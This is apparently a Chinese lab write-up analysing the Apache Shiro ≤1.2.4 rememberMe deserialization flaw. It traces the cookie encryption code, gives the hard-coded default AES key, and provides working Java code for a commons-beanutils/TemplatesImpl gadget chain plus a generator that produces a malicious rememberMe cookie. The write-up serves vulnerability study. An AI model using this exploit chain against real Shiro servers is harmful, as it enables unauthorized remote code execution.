Shiro反序列化 环境搭建 直接从github上clone代码到本地。
1 2 3 git clone https://github.com/apache/shiro.git cd shirogit checkout shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。
1 2 3 4 5 6 <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency >
在IDEA(注意得是ultimate)中导入mvn项目, 并配置tomcat环境
漏洞分析 根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:· 获取Cookie中rememberMe的值· 对rememberMe进行Base64解码· 使用AES进行解密· 对解密的值进行反序列化
由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。
以下流程可以的话一定自己动调 会更加清晰容易理解
加密过程 先分析一下加密的过程。 在org/apache/shiro/mgt/DefaultSecurityManager.java代码的rememberMeSuccessfulLogin方法下断点。
跟进onSuccessfulLogin方法,具体实现代码在AbstractRememberMeManager.java。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void onSuccessfulLogin (Subject subject, AuthenticationToken token, AuthenticationInfo info) { forgetIdentity(subject); if (isRememberMe(token)) { rememberIdentity(subject, token, info); } else { if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. " + "RememberMe functionality will not be executed for corresponding account." ); } } }
调用forgetIdentity方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等( http://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/subject/Subject.html
)。继续跟进forgetIdentity方法,getCookie方法获取请求的cookie,接着会进入到removeFrom方法。
removeForm主要在response头部添加Set-Cookie: rememberMe=deleteMe
然后再回到onSuccessfulLogin方法中,如果设置rememberMe则进入rememberIdentity。
rememberIdentity方法代码中,调用convertPrincipalsToBytes对用户名进行处理。
1 2 3 4 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = convertPrincipalsToBytes(accountPrincipals); rememberSerializedIdentity(subject, bytes); }
进入convertPrincipalsToBytes,调用serialize对用户名进行处理。
1 2 3 4 5 6 7 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = serialize(principals); if (getCipherService() != null ) { bytes = encrypt(bytes); } return bytes; }
跟进serialize方法来到org/apache/shiro/io/DefaultSerializer.java,很明显这里对用户名进行了序列化。
再回到convertPrincipalsToBytes,接着对序列化的数据进行加密,跟进encrypt方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding。
getEncryptionCipherKey获取加密的密钥,在AbstractRememberMeManager.java定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==。
加密完成后,继续回到rememberIdentity,跟进rememberSerializedIdentity方法。
对加密的bytes进行base64编码,保存在cookie中。至此,加密的流程基本就分析完了。
解密过程 对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现。直接在getRememberedPrincipals下断点。
getRememberedSerializedIdentity返回cookie中rememberMe的base64解码后的bytes。
继续调用convertBytesToPrincipals方法对解码后的bytes处理,跟进convertBytesToPrincipals方法,调用decrypt方法对bytes进行解密。
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
解密后得到的结果为序列化字符串的bytes。
然后进入到deserialize方法进行反序列化,即用户可控的rememberMe值经过解密后进行反序列化从而引发反序列化漏洞。
漏洞利用 如果想通过反序列化实现RCE 最好在shiro本身依赖当中寻找利用链
这里利用到commons-beanutils 中的 PropertyUtils.getProperty
它可以对一个对象调用对应的get方法来获取成员变量的值 测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import org.apache.commons.beanutils.PropertyUtils;public class CBTest { public static void main (String[] args) throws Exception { Person p = new Person (18 , "aa" ); System.out.println(PropertyUtils.getProperty(p, "age" )); } public static class Person { private int age; private String name; Person(int a, String n) { this .age = a; this .name = n; } public int getAge () throws Exception { Runtime.getRuntime().exec("calc" ); return age; } public String getName () { return name; } } }
跟进getProperty的逻辑发现它相当于就是拼接get
和首字母大写后的成员变量 后得到函数名,搜索调用
0z1 刚好TemplatesImpl 中有get方法并且会执行newTransformer() (作用可以看JAVA反序列化CC3 )
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
那么我们可以构造类似PropertyUtils.getProperty(templates, "outputProperties")
来触发执行
0x2 接着追踪调用了getProperty的地方 有三处 但只有BeanComparator
可以序列化 所以跟进
1 2 3 4 5 6 7 8 9 10 11 12 public int compare ( Object o1, Object o2 ) { if ( property == null ) { return comparator.compare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return comparator.compare( value1, value2 ); } }
参数均可控
0x3 BeanComparator 也是一种Comparator 用于比较类对象间大小 PriorityQueue在反序列化时如果有comparator会自动调用它的compare方法
构造(注意序列化的时候不能有数组类,否则反序列化时会报错 因此ChainedTransformer不再可用 具体可见 Shiro反序列化漏洞笔记三(解疑篇) )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public static void exploit () throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = TemplatesImpl.class; Field bytecode = tc.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); byte [][] bytes = new byte [1 ][]; bytes[0 ] = Files.readAllBytes(Paths.get("E:\\path\\to\\target\\classes\\Test.class" )); bytecode.set(templates, bytes); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "gg" ); TransformerFactoryImpl tfi = new TransformerFactoryImpl (); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, tfi); BeanComparator bc = new BeanComparator ("outputProperties" , new AttrCompare ()); PriorityQueue<Object> pq = new PriorityQueue (2 ); pq.add(1 ); pq.add(1 ); Field cprtField = PriorityQueue.class.getDeclaredField("comparator" ); cprtField.setAccessible(true ); cprtField.set(pq, bc); Field queueArray = PriorityQueue.class.getDeclaredField("queue" ); queueArray.setAccessible(true ); queueArray.set(pq, new Object []{templates, templates}); }
0x4 由序列化后的文件生成cookie 并发送触发反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void generate (String filename) throws Exception { byte [] bytes = Files.readAllBytes(Paths.get(filename)); AbstractRememberMeManager arm = new CookieRememberMeManager (); Class c = AbstractRememberMeManager.class; Method encryptMethod = c.getDeclaredMethod("encrypt" , byte [].class); encryptMethod.setAccessible(true ); byte [] encrypted = (byte []) encryptMethod.invoke(arm, bytes); String cookie = Base64.encodeToString(encrypted); System.out.println(cookie); }
Cookie中最好删除JSESSID再发送
参考
Shiro反序列化漏洞(三)-shiro无依赖利用链
Shiro反序列化漏洞笔记一(原理篇)